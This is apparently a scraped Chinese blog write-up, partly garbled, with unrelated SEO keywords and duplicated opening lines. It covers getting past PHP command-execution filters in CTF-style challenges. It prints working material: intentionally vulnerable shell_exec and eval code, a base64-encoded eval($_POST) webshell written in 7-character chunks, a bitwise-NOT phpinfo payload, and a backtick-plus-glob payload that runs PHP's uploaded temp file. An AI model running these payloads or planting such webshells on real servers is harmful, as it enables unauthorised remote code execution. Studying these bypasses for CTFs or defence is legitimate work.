鲁谷网站建设,建筑工程网上办事大厅,一个网站制作流程,山西省建设执业资格注册中心网站目录 一、Linux命令长度限制突破方法
1.在二进制漏洞利用中#xff0c;某师傅遇到可控数据只有8字节的情况#xff0c;去掉字符 串尾的\0#xff0c;限制在7个字符。 一、Linux命令长度限制突破方法
1.在二进制漏洞利用中#xff0c;某师傅遇到可控数据只有8字节的情况某师傅遇到可控数据只有8字节的情况去掉字符 串尾的\0限制在7个字符。 一、Linux命令长度限制突破方法
1.在二进制漏洞利用中某师傅遇到可控数据只有8字节的情况去掉字符 串尾的\0限制在7个字符。
?php
$param $_REQUEST[param];
if ( strlen($param) 8 )
{ echo shell_exec($param);
}这个的难点就是该怎么把执行语句缩短到7个字符很显然这个思路是行不通的,然后我们看到echo shell_exec($param);这个语句去看一下php官方文档对shell_exec这个函数的使用方法。 了解该函数的使用方法再结合Linux系统下的一些特性。
1.w 长度最短的命令
2.ls -t 以创建时间来列出当前目录下所有文件
3.文件列表以[换行符]分割每个文件 引入 \ 转义ls时的换行
1.换行不影响命令执行 成功构造任意命令执行写入Webshell
前辈就想到了在Linux下可以使用w字符串在w下创建文件,但是在后续学习其实可以直接字符串。
直接执行一句话木马再通过ants work连接 ?php eval($_POST[9]);
再通过上文了解到shell_exec的用法 输出以字符串的形式所以是不是需要想通过base64编码再通过解码输出呢通过工具。 那就开始写入吧echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw| base64 -d c.php总结这一句就是我们所需要的执行语句。 可以看到我们写入成功,再一次写入最后写入ls -t0sh 0通过查看资料 很明显生成了c.php文件文件内容如下接下来我们使用蚁连接 访问c.php回显正常。 蚁连接成功原方法使用$_GET传参连不上改用POST就可以连接上。但是查看官方文档REQUEST两者都可以传参我现在还不清楚什么原因。 二 、无字母数字webshell之命令执行
这个代码如果要getshell怎样利用
当然这道题的限制 webshell长度不超过35位 除了不包含字母数字还不能包含$和_
难点呼之欲出了我前面文章中给出的所有方法都用到了PHP中的变量需要对变量进行变形、异或、取反等操作最后动态执行函数。但现在因为$不能使用了所以我们无法构造PHP中的变量。
?php
if(isset($_GET[code])){$code $_GET[code];if(strlen($code)35){die(Long.);}if(preg_match(/[A-Za-z0-9_$]/,$code)){die(NO.);}eval($code);
}else{highlight_file(__FILE__);
}
PHP7 下简单解决问题
查看官方文档 PHP7前是不允许用($a)();这样的方法来执行动态函数的但PHP7中增加了对此的支持。所以我们可以通过(phpinfo)();来执行函数第一个括号中可以是任意PHP表达式。
所以很简单了构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下不可见字符用url编码表示
(~%8F%97%8F%96%91%99%90)(); 基于现在的系统PHP5也需要思考 通过测试php5没有这个用法操作系统里包含的最重要的两个功能就是“shell系统命令”和“文件系统”很多木马与远控其实也只实现了这两个功能。 PHP自然也能够和操作系统进行交互“反引号”就是PHP中最简单的执行shell的方法想到就是用‘’shell执行命令。
因为反引号不属于“字母”、“数字”所以我们可以执行系统命令但问题来了如何利用无字母、数字、$的系统命令来getshell
好像问题又回到了原点无字母、数字、$在shell中仍然是一个难题。
此时我想到了两个有趣的Linux shell知识点 shell下可以利用.来执行任意脚本 Linux文件名支持用glob通配符代替
第一点.或者叫period它的作用和source一样就是用当前的shell执行一个文件中的命令。比如当前运行的shell是bash则. file的意思就是用bash执行file文件中的命令。
用. file执行文件是不需要file有x权限的。那么如果目标服务器上有一个我们可控的文件那不就可以利用.来执行它了吗
这个文件也很好得到我们可以发送一个上传文件的POST包此时PHP会将我们上传的文件保存在临时文件夹下默认的文件名是/tmp/phpXXXXXX文件名最后6个字符是随机的大小写字母。
第二个难题接踵而至执行. /tmp/phpXXXXXX也是有字母的。此时就可以用到Linux下的glob通配符
*可以代替0个及以上任意字符
可以代表1个任意字符
那么/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。
但我们尝试执行. /???/?????????但是实际上我们会匹配到多个所以执行不了。所以就要了解glob通配符
描述 glob是shell使用的路径匹配符类似于正则表达式但是与正则表达式不完全相同。在linux操作中如文件匹配等等其实已经使用了glob通配符。由于其在路径匹配方面的强大其他语言也有相应的实现。我在使用基于node的gulp时遇到glob匹配文件路径于是顺便整理一下glob的基础语法和使用。
glob通配符
语法和使用 *匹配一个路径部分中0个或多个字符注意不匹配以.开始的路径如文件.a。 ?匹配一个字符。 […]匹配一系列字符如[abc]匹配字符a, b, c在[^…]和[!…]表示匹配不在列表中的字符如[^abc]匹配除了a, b, c以外的字符。--我们就要使用这个来减少达到精准匹配 **匹配0个或多个子文件夹。 {a,b}匹配a或则ba和b也是通配符可以由其他通配符组成。 !排除文件如!a.js表示排除文件a.js。 更多相关语法可参考node-glob。
所有文件名都是小写只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了我们只要找到一个可以表示“大写字母”的glob通配符就能精准找到我们要执行的文件。
翻开ascii码表可见大写字母位于与[之间那么我们可以利用[-[]来表示大写字母。
当然php生成临时文件名是随机的最后一个字符不一定是大写字母不过多尝试几次也就行了最后一个字符也可能是数字。
最后我传入的code为??. /???/????????[-[];?发送数据包如下 上传命令执行的文件,就可以执行命令了。